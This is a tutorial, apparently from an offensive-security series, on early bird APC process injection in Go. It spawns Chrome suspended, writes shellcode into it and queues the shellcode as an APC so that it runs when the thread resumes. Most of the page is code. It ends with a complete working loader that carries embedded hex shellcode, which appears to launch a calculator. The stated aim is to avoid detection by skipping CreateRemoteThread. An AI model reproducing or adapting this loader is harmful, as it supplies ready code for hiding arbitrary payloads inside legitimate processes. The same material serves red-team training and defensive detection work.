This technique is a combination of the two previous techniques. Unlike process hollowing it will not overwrite the contents of the main thread but allocate a new memory region. The main difference is that QueueUserAPC will be used to execute our shellcode when the main thread is resumed.
The benefit is that we won't be calling the CreateRemoteThread API.
The Windows APIs required to perform this technique are the following:
Create suspended process
Starting a process can be achieved by calling the CreateProcess API.
Copy BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
The most important parameter is the dwCreationFlags should be set to CREATE_SUSPENDED (0x04)
Copy var startupInfo windows.StartupInfo
var outProcInfo windows.ProcessInformation
path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"
err := windows.CreateProcess(nil,
windows.StringToUTF16Ptr(path),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&startupInfo,
&outProcInfo)
if err != nil {
log.Fatalf("[FATAL] Failed to Create Process: %v", err)
}
fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)
Allocating memory on remote process
VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory.
Copy LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
hProcess: Process Handle returned by the CreateProcess API
lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
dwSize: Will be the size of our shellcode
flAllocationType: We need to reserve and commit memory
flProtect: This can be done in a number of ways. To write and execute shellcode we will need rx permissions.
Copy modKernel32 := syscall.NewLazyDLL("kernel32.dll")
procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")
addr, _, lastErr := procVirtualAllocEx.Call(
uintptr(pHandle),
uintptr(0),
uintptr(len(sc)),
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_EXECUTE_READ))
if addr == 0 {
log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
}
fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
Writing shellcode to remote process
WriteProcessMemory winapi will be used to write shellcode to the remote memory
Copy BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
hProcess: Process Handle returned by the CreateProcess API
lpBaseAddress: Value returned from VirtualAllocEx
lpBuffer: A pointer to the beginning of our shellcode byte array
nSize: Size of our shellcode
lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address
Copy var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(outProcInfo.Process,
uintptr(addr),
&sc[0],
uintptr(len(sc)),
&numberOfBytesWritten)
if err != nil {
log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
}
fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))
Add a user-mode APC ( Asynchronous Procedure Call)
Copy DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
pfnAPC: This will be the address returned by VirtualAllocEx
hThread: Returned by the createprocess API
dwData: Set to 0
Copy procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
if success1 == 0 {
log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
}
Resume Execution
To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achieve that.
Copy DWORD ResumeThread(
[in] HANDLE hThread
);
We simply pass the handle returned by the CreateProcess API.
Copy _, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
if err != nil {
log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
}
Complete Code
Copy package main
import (
"encoding/hex"
"fmt"
"log"
"syscall"
"golang.org/x/sys/windows"
)
type PROCESS_BASIC_INFORMATION struct {
Reserved1 uintptr
PebAddress uintptr
Reserved2 uintptr
Reserved3 uintptr
UniquePid uintptr
MoreReserved uintptr
}
func main() {
sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")
var startupInfo windows.StartupInfo
var outProcInfo windows.ProcessInformation
path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"
err := windows.CreateProcess(nil,
windows.StringToUTF16Ptr(path),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&startupInfo,
&outProcInfo)
if err != nil {
log.Fatalf("[FATAL] Failed to Create Process: %v", err)
}
fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)
modKernel32 := syscall.NewLazyDLL("kernel32.dll")
procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")
addr, _, lastErr := procVirtualAllocEx.Call(
uintptr(outProcInfo.Process),
uintptr(0),
uintptr(len(sc)),
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_EXECUTE_READ))
if addr == 0 {
log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
}
fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(addr), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
if err != nil {
log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
}
fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))
procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
if success1 == 0 {
log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
}
_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
if err != nil {
log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
}
fmt.Println("[+] Resuming Suspended Thread")
}